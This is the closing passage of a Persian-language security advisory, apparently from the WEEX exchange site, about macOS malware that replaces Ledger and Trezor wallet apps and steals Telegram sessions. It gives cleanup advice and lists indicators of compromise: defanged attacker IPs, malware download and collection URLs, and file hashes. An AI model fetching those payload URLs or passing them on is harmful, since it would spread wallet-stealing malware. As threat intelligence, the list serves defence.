  1. برای کلاینت‌های Ledger یا Trezor که ممکن است حذف و جایگزین شده باشند، ابتدا برنامه‌های مشکوک را حذف کرده، امضای کد و منبع نصب را بررسی کنید، موارد دائمی مرتبط (مانند LaunchDaemon) را بررسی کنید و سپس بسته‌های نصب را از منابع معتبر و رسمی دوباره دریافت کنید. اگر در برنامه‌های جایگزین کلمات عبور را وارد کرده‌اید، باید فوراً به عنوان افشای کلمات عبور با آن رفتار کنید.

  2. برای کلاینت‌های تلگرام که به‌ندرت استفاده می‌شوند (مانند کلاینت دسکتاپ یا macOS که فقط بر روی دستگاه‌های خاصی نصب شده و به‌طور طولانی باز نمی‌شوند)، باید به‌طور منظم وضعیت ورود آن‌ها را بررسی کرده و یا به‌طور فعال جلسات غیرضروری را خاتمه دهید. به دلیل اینکه این نوع کلاینت‌ها به‌ندرت استفاده می‌شوند، حتی اگر وضعیت ورود آن‌ها به سرقت برود و در محیط مهاجم بازیابی شود، کاربر به‌سختی می‌تواند به‌موقع متوجه ناهنجاری‌ها شود------ تشخیص امنیتی سرور معمولاً به تغییرات الگوی رفتار جلسات فعال وابسته است و برای کلاینت‌هایی که به‌مدت طولانی در حالت سکوت هستند، ورود غیرمجاز به‌طور خودکار دشوارتر شناسایی می‌شود. به محض اینکه به سرقت رفت، مهاجم ممکن است کنترل سکوت بر روی آن حساب را برای مدت طولانی حفظ کند و به‌طور مداوم پیام‌های جدید را بخواند بدون اینکه هیچ هشدار یا اخطاری را فعال کند.


  1. در استفاده روزمره، باید برای تلگرام کد عبور (Passcode) فعال کنید و یک رمز عبور با شدت بالا که با سایر رمزها متفاوت باشد، تنظیم کنید و از استفاده از رمزهای ضعیف خودداری کنید تا از این طریق حفاظت محلی جلسات خود را تقویت کنید.

IOC


IP


192[.]253[.]248[.]181

86[.]54[.]25[.]213


URL


http[://192[.]253[.]248[.]181/web/ledger.zip

http[://192[.]253[.]248[.]181/web/ledgerwallet.zip

http[://192[.]253[.]248[.]181/web/trezor.zip

http[://86[.]54[.]25[.]213/ledger?username=night

http[://86[.]54[.]25[.]213/trezor?username=night

http[://86[.]54[.]25[.]213/log


فایل‌های مخرب


filename: ledger.zip

SHA256: 41d77fef030b8515efb068defed5e15c14fbebd16259253f1f79febd6e12ebcb


filename: ledgerwallet.zip

SHA256: 36f4ae11560ed34f32c927468a09a5370a5fbdcae41660f6e8d9a49330c8d059


filename: trezor.zip

SHA256: 60f33e7b8c6b84839e28c710c8c5a99a718c0b88135653561be8d45f976b794f

سلب مسئولیت: این محتوا صرفاً برای اطلاع‌رسانی عمومی و برندینگ ارائه شده و به‌ منزله مشاوره مالی، سرمایه‌گذاری، حقوقی یا مالیاتی تلقی نمی‌گردد. هیچ‌یک از رویدادها، جوایز، رویدادهای آنلاین یا اطلاعات مرتبط ذکرشده در اینجا نباید به‌عنوان توصیه، درخواست یا دعوت برای خرید، فروش، معامله یا هرگونه اقدام دیگر در رابطه با دارایی‌های رمزارزی یا استفاده از خدمات تلقی شوند. دارایی‌های رمزارزی با نوسانات بالایی همراه بوده و ممکن است منجر به زیان شوند. خدمات WEEX و رویدادهای آنلاین ممکن است در تمام مناطق در دسترس نبوده و مشمول قوانین، مقررات و شرایط احراز صلاحیت مربوطه هستند. شما مسئول رعایت قوانین محلی در استفاده از خدمات WEEX هستید و باید پیش از انجام هرگونه فعالیت مرتبط با ارزهای دیجیتال، ریسک‌های آن را به‌دقت بررسی کنید.

ممکن است شما نیز علاقه‌مند باشید

آخرین لیست سکه ها در WEEX

iconiconiconiconiconicon
پشتیبانی مشتری:@weikecs
همکاری تجاری:@weikecs
معاملات کمّی و بازارسازی:bd@weex.com
برنامه VIP:support@weex.com